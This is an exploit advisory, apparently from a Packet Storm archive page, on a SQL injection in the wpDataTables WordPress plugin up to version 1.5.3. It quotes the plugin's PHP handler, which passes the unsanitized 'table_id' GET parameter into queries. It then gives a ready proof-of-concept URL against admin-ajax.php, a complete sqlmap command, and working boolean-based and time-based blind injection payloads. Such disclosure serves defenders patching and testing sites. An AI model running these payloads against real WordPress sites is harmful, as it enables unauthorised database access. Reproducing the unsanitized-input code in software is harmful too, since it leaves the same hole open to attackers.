what you don't know can hurt you

WordPress wpDataTables 1.5.3 SQL Injection

WordPress wpDataTables 1.5.3 SQL Injection
Posted Nov 23, 2014
Authored by Claudio Viviani

WordPress wpDataTables plugin versions 1.5.3 and below suffer from a remote SQL injection vulnerability.

tags | exploit, remote, sql injection
MD5 | a123a81e0deb2d9ce416a908c9bbca83

WordPress wpDataTables 1.5.3 SQL Injection

Change Mirror Download
######################

# Exploit Title : Wordpress wpDataTables 1.5.3 and below SQL Injection Vulnerability

# Exploit Author : Claudio Viviani

# Software Link : http://wpdatatables.com (Premium)

# Date : 2014-11-22

# Tested on : Windows 7 / Mozilla Firefox
Windows 7 / sqlmap (0.8-1)
Linux / Mozilla Firefox
Linux / sqlmap 1.0-dev-5b2ded0

######################


# Description

Wordpress wpDataTables 1.5.3 and below suffers from SQL injection vulnerability

"table_id" variable is not sanitized.

File: wpdatatables.php
------------------------
// AJAX-handlers
add_action( 'wp_ajax_get_wdtable', 'wdt_get_ajax_data' );
add_action( 'wp_ajax_nopriv_get_wdtable', 'wdt_get_ajax_data' );

/**
* Handler which returns the AJAX response
*/
function wdt_get_ajax_data(){
$id = $_GET['table_id']; <------------------- Not Sanitized!
$table_data = wdt_get_table_by_id( $id );
$column_data = wdt_get_columns_by_table_id( $id );
$column_headers = array();
$column_types = array();
$column_filtertypes = array();
$column_inputtypes = array();
foreach($column_data as $column){
$column_order[(int)$column->pos] = $column->orig_header;
if($column->display_header){
$column_headers[$column->orig_header] = $column->display_header;
}
if($column->column_type != 'autodetect'){
$column_types[$column->orig_header] = $column->column_type;
}else{
$column_types[$column->orig_header] = 'string';
}
$column_filtertypes[$column->orig_header] = $column->filter_type;
$column_inputtypes[$column->orig_header] = $column->input_type;
}
------------------------

(The vulnerable variable is located in others php files)


######################

# PoC

http://TARGET/wp-admin/admin-ajax.php?action=get_wdtable&table_id=1 [Sqli]

# Sqlmap

sqlmap -u "http://TARGET/wp-admin/admin-ajax.php?action=get_wdtable&table_id=1" -p table_id --dbms mysql

---
Parameter: table_id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: action=get_wdtable&table_id=1 AND 9029=9029

Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: action=get_wdtable&table_id=1 AND SLEEP(5)

---


#####################

Discovered By : Claudio Viviani
http://www.homelab.it

info@homelab.it
homelabit@protonmail.ch

https://www.facebook.com/homelabit
https://twitter.com/homelabit
https://plus.google.com/+HomelabIt1/
https://www.youtube.com/channel/UCqqmSdMqf_exicCe_DjlBww

#####################
Login or Register to add favorites

File Archive:

August 2020

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    3 Files
  • 2
    Aug 2nd
    2 Files
  • 3
    Aug 3rd
    32 Files
  • 4
    Aug 4th
    22 Files
  • 5
    Aug 5th
    0 Files
  • 6
    Aug 6th
    0 Files
  • 7
    Aug 7th
    0 Files
  • 8
    Aug 8th
    0 Files
  • 9
    Aug 9th
    0 Files
  • 10
    Aug 10th
    0 Files
  • 11
    Aug 11th
    0 Files
  • 12
    Aug 12th
    0 Files
  • 13
    Aug 13th
    0 Files
  • 14
    Aug 14th
    0 Files
  • 15
    Aug 15th
    0 Files
  • 16
    Aug 16th
    0 Files
  • 17
    Aug 17th
    0 Files
  • 18
    Aug 18th
    0 Files
  • 19
    Aug 19th
    0 Files
  • 20
    Aug 20th
    0 Files
  • 21
    Aug 21st
    0 Files
  • 22
    Aug 22nd
    0 Files
  • 23
    Aug 23rd
    0 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    0 Files
  • 27
    Aug 27th
    0 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2020 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close